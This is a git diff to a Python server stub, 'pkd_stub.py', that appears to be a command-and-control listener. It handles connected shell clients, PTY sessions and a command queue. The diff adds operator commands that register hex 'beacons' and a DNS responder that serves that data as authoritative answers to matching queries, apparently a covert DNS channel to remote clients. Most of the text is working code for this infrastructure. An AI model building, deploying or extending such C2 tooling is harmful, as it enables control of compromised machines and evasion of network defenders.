diff options
Diffstat (limited to 'pkd_stub.py')
| -rw-r--r-- | pkd_stub.py | 222 |
1 files changed, 187 insertions, 35 deletions
diff --git a/pkd_stub.py b/pkd_stub.py index 3e71655..466310f 100644 --- a/pkd_stub.py +++ b/pkd_stub.py @@ -1,7 +1,25 @@ import os, sys, socket, signal, json, selectors -# basic magic number +# dns config DNS_UDP_PORT = 53 +DNS_TTL = 3600 +DNS_HEADSZ = 12 +DNS_LIMIT = 512 +DNS_CLASSES = { + 1: 'IN', + 3: 'CH', + 4: 'HS' +} +DNS_CLASS_NUMBERS = {v: k for k, v in DNS_CLASSES.items()} +DNS_RECORD_TYPES = { + 1: 'A', + 2: 'NS', + 5: 'CNAME', + 15: 'MX', + 16: 'TXT', + 28: 'AAAA' +} +DNS_RECORD_TYPE_NUMBERS = {v: k for k, v in DNS_RECORD_TYPES.items()} # initial crypto config SERVER_PROMPT = b'pk> ' CONNECTED_PROMPT = b'$ ' @@ -114,6 +132,70 @@ def cliinfo(clients): except Exception as e: return repr(e) +def parse_enum(value, lookup): + try: + value = str(value, 'utf-8').upper() + if value[0] == '@': + return int(value[1:]) + elif value in lookup: + return lookup[value] + return None + except: + return None + +def format_enum(value, lookup): + return lookup[value] if value in lookup else '@%d' % value + +def create_beacon(data=None, hostname=None, qtype=None, qclass=b'IN', *_args): + try: + data = bytes.fromhex(str(data, 'utf-8')) + except: + data = None + if not data or not hostname or not qtype: + return '[pk] Usage: beacon <data:hex> <hostname> <TYPE> [CLASS]' + qtype = parse_enum(qtype, DNS_RECORD_TYPE_NUMBERS) + if not qtype: + return '[pk] Invalid record type. Supports %s, or @n for raw type number n.'\ + % ', '.join(DNS_RECORD_TYPE_NUMBERS.keys()) + qclass = parse_enum(qclass, DNS_CLASS_NUMBERS) + if not qclass: + return '[pk] Invalid class type. Supports %s, or @n for raw class number n.'\ + % ', '.join(DNS_CLASS_NUMBERS.keys()) + + beacons[(hostname, qtype, qclass)] = data + return '' + +def beaconinfo(beacons): + info = '' + i = 0 + for key in beacons: + info += '- %s %s %s: %s\n' % \ + (str(key[0], 'utf-8'), format_enum(key[1], DNS_RECORD_TYPES),\ + format_enum(key[2], DNS_CLASSES), beacons[key].hex()) + i += 1 + info += '[pk] %d total.' % i + return info + +def delbeacon(hostname=None, qtype=None, qclass=None, *_args): + if not hostname: + return '[pk] Usage: delbeacon <hostname> [TYPE [CLASS]]' + qtype = parse_enum(qtype, DNS_RECORD_TYPE_NUMBERS) + qclass = parse_enum(qclass, DNS_CLASS_NUMBERS) + + matched_keys = [] + for key in beacons: + if key[0] != hostname: + continue + if qtype and key[1] != qtype: + continue + if qclass and key[2] != qclass: + continue + print('[INFO] Deleting beacon', key) + matched_keys.append(key) + for key in matched_keys: + del beacons[key] + return '' + def screens_detach(sel, screen): global screens sel.unregister(screen['sock']) @@ -147,7 +229,7 @@ def screens_pty(sel, screen, client): return def screens_read(sel, sock, screen): - global cmdq, tcp_clients, screens, privkey, bits + global beacons, cmdq, tcp_clients, screens, privkey, bits if not screen['alive']: return try: @@ -178,12 +260,20 @@ def screens_read(sel, sock, screen): elif cmd == b'\xde\xad': screens_detach(sel, screen) return + elif cmd[:6] == b'beacon': + resp = create_beacon(*cmd[7:].split(b' ')) + elif cmd == b'nbeacons': + resp = '[pk] Active beacons: %d' % len(beacons) + elif cmd == b'lbeacons': + resp = '[pk] Active beacons:\n%s' % beaconinfo(beacons) + elif cmd[:9] == b'delbeacon': + resp = delbeacon(*cmd[10:].split(b' ')) elif cmd == b'nscreen': - resp = 'Active screens: %d' % len(screens) + resp = '[pk] Active screens: %d' % len(screens) elif cmd == b'ncli': - resp = 'Active TCP clients: %d' % len(tcp_clients) + resp = '[pk] Active TCP clients: %d' % len(tcp_clients) elif cmd == b'lcli': - resp = 'Active TCP clients:\n%s' % cliinfo(tcp_clients) + resp = '[pk] Active TCP clients:\n%s' % cliinfo(tcp_clients) elif cmd == b'lq': resp = '[%s]' % ', '.join(map(lambda s : repr(betterstr(s)), cmdq)) elif cmd == b'cq': @@ -418,39 +508,18 @@ def register_tcp(sel, port): sel.register(sock, selectors.EVENT_READ, tcp_accept) print('[INFO] TCP listener started on port %d/tcp' % port) -def transport_dns(sel, sock): - try: - req, addr = sock.recvfrom(1024) - except: - print('[WARNING] Error receiving DNS query.') - return - dns_refuse(sock, addr, req) - -def dns_refuse(sock, addr, req): - # ID = req.id - resp = bytearray(req[0:2]) - # QR = 1 | opcode[4] = req.opcode | AA = 0 | TC = 0 | RD = req.rd - resp.append((req[2] & 0b11111001) | 0b10000000) - # RA = 0 | Z[3] = 0 | rcode[4] = 5 (REFUSED) - resp.append(5) - # QDCount = req.QDCount - try: - qdcount = int.from_bytes(req[4:6], 'big') - resp.extend(req[4:6]) - except: - qdcount = 0 - resp.extend(b'\x00' * 2) - # ANCount = NSCount = ARCount = 0 - resp.extend(b'\x00' * 6) - # Copy question section - dns_copy_queries(qdcount, req[12:], resp) - - sock.sendto(resp, addr) +def dns_abort(sock, addr, resp, rcode = 1): + resp = resp[:3] # Truncate partial questions and answers + resp.append(rcode) # RA | Z | RCODE + # QDCount = ANCount = NSCount = ARCount = 0 + resp.extend(b'\x00' * 8) + sock.sendto(resp, addr) def dns_copy_queries(qdcount, qdsect, buffer): - print('qdsect=', qdsect) for _ in range(qdcount): while True: + if len(qdsect) < 1: + return labelsize = qdsect[0] + 1 buffer.extend(qdsect[:labelsize]) qdsect = qdsect[labelsize:] @@ -460,6 +529,88 @@ def dns_copy_queries(qdcount, qdsect, buffer): buffer.extend(qdsect[:4]) qdsect = qdsect[4:] +def dns_parse_queries(qdcount, qdsect): + queries, ofs = [], 0 + for _ in range(qdcount): + labels = [] + name_ofs = ofs + while True: + if ofs >= len(qdsect): + return [] + labelsize = qdsect[ofs] + 1 + labels.append(qdsect[ofs+1:ofs+labelsize]) + ofs += labelsize + if labelsize < 2: + break + try: + qtype = int.from_bytes(qdsect[ofs:ofs+2], 'big') + qclass = int.from_bytes(qdsect[ofs+2:ofs+4], 'big') + except: + return [] + queries.append({ + 'name': b'.'.join(labels[:-1]), + 'name_ofs': DNS_HEADSZ + name_ofs, + 'type': qtype, + 'class': qclass + }) + return queries + +def dns_populate_answer(buffer, answer): + buffer.append(0xc0) + buffer.append(answer['query']['name_ofs']) + buffer.extend(answer['query']['type'].to_bytes(2, 'big')) + buffer.extend(answer['query']['class'].to_bytes(2, 'big')) + buffer.extend(DNS_TTL.to_bytes(4, 'big')) + buffer.extend(len(answer['data']).to_bytes(2, 'big')) + buffer.extend(answer['data']) + +def dns_answer(sock, addr, req, answers): + # ID = req.id + resp = bytearray(req[0:2]) + # QR = 1 | opcode[4] | AA = 1 | TC = 0 | RD + resp.append((req[2] & 0b11111001) | 0b10000100) + # RA = 0 | Z[3] = 0 | rcode[4] = 0 (NO ERROR) + resp.append(0) + + try: + # QDCount = req.QDCount + qdcount = int.from_bytes(req[4:6], 'big') + resp.extend(req[4:6]) + except: + dns_abort(sock, addr, resp, rcode=1) # FORMERROR + return + + # ANCount + resp.extend(len(answers).to_bytes(2, 'big')) + # NSCount = ARCount = 0 + resp.extend(b'\x00' * 4) + dns_copy_queries(qdcount, req[DNS_HEADSZ:], resp) + for answer in answers: + dns_populate_answer(resp, answer) + + if len(resp) > DNS_LIMIT: + dns_abort(sock, addr, resp, rcode=5) # REFUSED + else: + sock.sendto(resp, addr) + +def transport_dns(sel, sock): + try: + req, addr = sock.recvfrom(1024) + qdcount = int.from_bytes(req[4:6], 'big') + except: + print('[WARNING] Error receiving DNS query.') + return + + queries = dns_parse_queries(qdcount, req[DNS_HEADSZ:]) + answers = [] + for query in queries: + if (query['name'], query['type'], query['class']) in beacons: + answers.append({ + 'query': query, + 'data': beacons[(query['name'], query['type'], query['class'])] + }) + dns_answer(sock, addr, req, answers) + def register_dns(sel): sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) try: @@ -554,11 +705,12 @@ def main(args): pass - global alive, screens, tcp_clients, cmdq, breaker + global alive, screens, tcp_clients, cmdq, beacons, breaker alive = True screens = [] tcp_clients = [] cmdq = [] + beacons = {} sel = selectors.DefaultSelector() breakee, breaker = socket.socketpair() sel.register(breakee, selectors.EVENT_READ, None) |